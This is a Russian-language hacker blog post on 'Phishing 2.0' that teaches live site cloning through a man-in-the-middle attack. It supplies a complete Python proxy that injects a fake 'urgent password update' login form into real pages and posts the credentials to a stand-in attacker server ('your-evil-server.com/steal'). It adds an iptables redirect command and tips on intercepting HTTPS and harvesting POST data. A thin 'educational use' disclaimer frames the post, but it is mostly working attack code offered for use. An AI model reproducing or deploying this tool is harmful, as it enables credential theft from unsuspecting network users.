60
Эй, хакеры и любители острых ощущений в мире киберпанка! Сегодня мы погружаемся в мутные воды фишинга нового уровня. Забудьте про примитивные страницы с формой логина, которые кричат “я фейк” с первого взгляда. Мы поговорим про клонирование сайтов с подменой контента “на лету” через атаку Man-in-the-Middle (MitM). И да, я дам тебе готовый скрипт на Python с использованием BeautifulSoup, чтобы ты мог сам попробовать этот трюк. Только помни: это для образовательных целей, используй на свой страх и риск!
Что такое Фишинг 2.0 и зачем это нужно?
Классический фишинг — это когда ты создаешь копию сайта, обманом заставляешь жертву ввести данные, и вуаля, логин-пароль у тебя в кармане. Но в 2025 году люди стали умнее, а антивирусы — злее. Поэтому мы идём дальше: перехватываем трафик через MitM, клонируем сайт в реальном времени и подменяем контент так, чтобы жертва даже не заподозрила подвох. Например, добавляем фейковую форму логина или всплывающее окно с “обновлением пароля”. Всё выглядит максимально легитимно, потому что это реальный сайт, просто “приправленный” нами.
Как работает схема?
Звучит круто? Тогда вот тебе инструмент, чтобы попробовать это в деле.
Скрипт на Python для модификации HTML “на лету”
Мы напишем простой прокси-сервер, который будет перехватывать HTTP-трафик, парсить HTML с помощью BeautifulSoup и подменять контент. Для MitM я предполагаю, что ты уже настроил перехват трафика (например, с помощью arpspoof
или bettercap
).
Что нам понадобится:
http.server
, socketserver
, BeautifulSoup
(ставим через pip install beautifulsoup4
), requests
Код: Прокси с подменой HTML
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
import http.server import socketserver import requests from bs4 import BeautifulSoup import urllib.parse # Настройки прокси PORT = 8080 class Proxy(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Парсим URL, который запросила жертва url = self.path if url.startswith('/'): url = 'http://' + self.headers['Host'] + url try: # Запрашиваем реальную страницу response = requests.get(url, timeout=5) if response.status_code == 200: # Парсим HTML soup = BeautifulSoup(response.text, 'html.parser') # Подменяем контент (добавляем фейковую форму логина) new_form = soup.new_tag('div', style='position:fixed; top:20%; left:20%; background:white; padding:20px; border:1px solid black; z-index:9999;') new_form.string = """ <h2>Срочное обновление пароля</h2> <form action="http://your-evil-server.com/steal" method="POST"> <input type="text" name="username" placeholder="Логин"><br> <input type="password" name="password" placeholder="Пароль"><br> <input type="submit" value="Обновить"> </form> """ soup.body.append(new_form) # Отправляем модифицированный HTML жертве self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() self.wfile.write(str(soup).encode()) else: # Если ошибка, просто проксируем ответ self.send_response(response.status_code) self.end_headers() self.wfile.write(response.content) except Exception as e: self.send_response(500) self.end_headers() self.wfile.write(str(e).encode()) def do_POST(self): # Здесь можно обрабатывать данные из формы, но пока просто проксируем self.send_response(501) self.end_headers() self.wfile.write(b"POST not supported yet") # Запускаем сервер Handler = Proxy with socketserver.TCPServer(("", PORT), Handler) as httpd: print(f"Прокси запущен на порту {PORT}") httpd.serve_forever() |
Как это работает?
requests
, парсим его HTML с помощью BeautifulSoup
.Запуск и настройка
iptables
:
1 |
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080 |
python proxy.py
Лайфхаки и трюки
soup.find()
и анализ стилей.mitmproxy
) позволяют работать даже с HTTPS. Добавь обработку через mitmproxy
или sslsplit
.do_POST
обработку данных.Важное предупреждение
Этот код и техника — для тестов в контролируемой среде (например, на своём устройстве или с явного согласия владельца сети). Использование против чужих данных без разрешения — прямой путь к юридическим проблемам. Будь умным, используй знания для добра или хотя бы для прокачки скиллов в ethical hacking.
Что дальше?
Этот скрипт — лишь базовый пример. Хочешь углубиться? Вот что можно добавить:
mitmproxy
.